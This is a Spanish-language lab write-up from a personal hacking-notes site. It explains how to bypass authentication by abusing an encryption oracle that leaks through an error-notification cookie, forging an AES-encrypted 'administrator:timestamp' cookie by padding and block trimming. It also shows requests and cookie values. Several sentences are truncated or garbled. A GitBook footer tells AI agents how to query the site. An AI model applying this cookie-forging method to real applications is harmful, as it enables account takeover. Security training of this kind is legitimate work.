> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/es/web/business-logic/bypassing-authentication-via-encryption-oracle.md).
# Elusión de la autenticación mediante oráculo de cifrado
### Evasión de autenticación mediante un oráculo de cifrado
**Descripción del laboratorio**
Este laboratorio tiene un fallo lógico que expone un \*\*oráculo de cifrado del lado del servidor\*\*. Aprovechando esta debilidad, es posible forjar un valor cifrado válido para eludir la autenticación, acceder al panel de administración y eliminar usuario **carlos**.
Identificador proporcionado:
* Usuario: `wiener`
* Contraseña: `peter`
**Observación inicial**
En la página de inicio de sesión, la **Mantener la sesión iniciada** opción está disponible.
Cuando se usa, se genera una cookie cifrada en **Base64** y se almacena del lado del cliente.
```bash
echo '0HE6oMYJL//S1fLwttqR7WMF3EX4KJmvfFRI53qpVnk=' | base64 -d
# El valor decodificado es texto cifrado binario, no texto legible.
```
### Identificación del oráculo de cifrado
Cuando se envía un comentario válido, no se observa ninguna respuesta específica.
Sin embargo, si un comentario provoca un error de la aplicación (p. ej., una dirección de correo electrónico no válida), el servidor:
* devuelve un mensaje de error mostrado en la pantalla;
{% code overflow="wrap" %}
```bash
csrf=cFMQUjAyzETtEr8TLsoir7V5p4C3m4ZG&postId=4&comment=test&name=test&email=test&website=https://localhost
```
{% endcode %}
* genera una nueva cookie `notificación`\*\*, cifrada.
El contenido mostrado es, por ejemplo:
Esto muestra que:
* el servidor \*\*descifra el contenido de la `notificación` cookie;
Por lo tanto, el servidor actúa como un **oráculo de cifrado y descifrado**.
* el texto descifrado se **reinyecta en la respuesta HTML**.
### Correlación con la cookie
Inyectando el valor cifrado de la cookie \*\*
El formato observado es:
Esto corresponde claramente a:
* un nombre de usuario;
* una marca de tiempo.
#### Falsificación de una identidad de administrador
El objetivo es hacer que el servidor cifre la siguiente cadena:
```bash
administrator:1766913113564
```
Para ello, este valor se inyecta en el campo vulnerable (comentario/correo electrónico no válido), provocando:
* mostrar el mensaje de error que contiene esta cadena;
la generación de una nueva `notificación` cookie, incluyendo el texto inyectado.
{% code overflow="wrap" %}
```bash
Set-Cookie: notification=VQbs3ex4CbvKjTm0LM5wuZa79pnAzKI9MEsa1O0MbX%2fJpfl9baj6yL3ryxh4u6nyiWHVwxP7%2fVDPyft%2f1qAbbQ%3d%3d; HttpOnly
```
{% endcode %}
### Identificación del algoritmo de cifrado
Al truncar arbitrariamente el valor cifrado, el servidor devuelve el siguiente error
```bash
PTBLGtTtDG1/yaX5fW2o%2bsi968sYeLup8olh1cMT%2b/1Qz8n7f9agG20%3d
```
`La longitud de entrada debe ser múltiplo de 16 al descifrar con un cifrado con relleno`
Esto indica claramente el uso de **AES con relleno**, operando en bloques de **16 bytes**.
#### Manipulación de bloques cifrados
El problema encontrado es la presencia de caracteres de relleno no válidos al final del mensaje. / Para remediarlo, la cadena inyectada va precedida de caracteres de relleno para alinear correctamente los bloques:
```
xxxxxxxxxadministrator:1766913113564
```
Entonces se genera una nueva cookie cifrada.
VQbs3ex4CbvKjTm0LM5wuZJqwlVboMZ2IzNuiTfVH6iHj9RZUT59d5kGoS64tVE5wWiEfmp6VbJG%2bb%2fNW5%2bblA%3d%3d
### Cortar y recomponer la cookie
Al eliminar los primeros **dos bloques cifrados** (correspondientes al relleno), solo los bloques que contienen:
Este valor cifrado final es aceptado por el servidor.
```
h4/UWVE%2bfXeZBqEuuLVROcFohH5qelWyRvm/zVufm5Q%3d
```
#### Eludiendo la autenticación
Pasos finales:
1. Elimina la cookie de sesión existente.
2. Reemplaza el valor de la cookie \*\*
3. Actualiza la página.
---
# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.
## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.
Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:
```
GET https://hacking-notes.jord4n.pro/es/web/business-logic/bypassing-authentication-via-encryption-oracle.md?ask=&goal=
```
`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.
Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.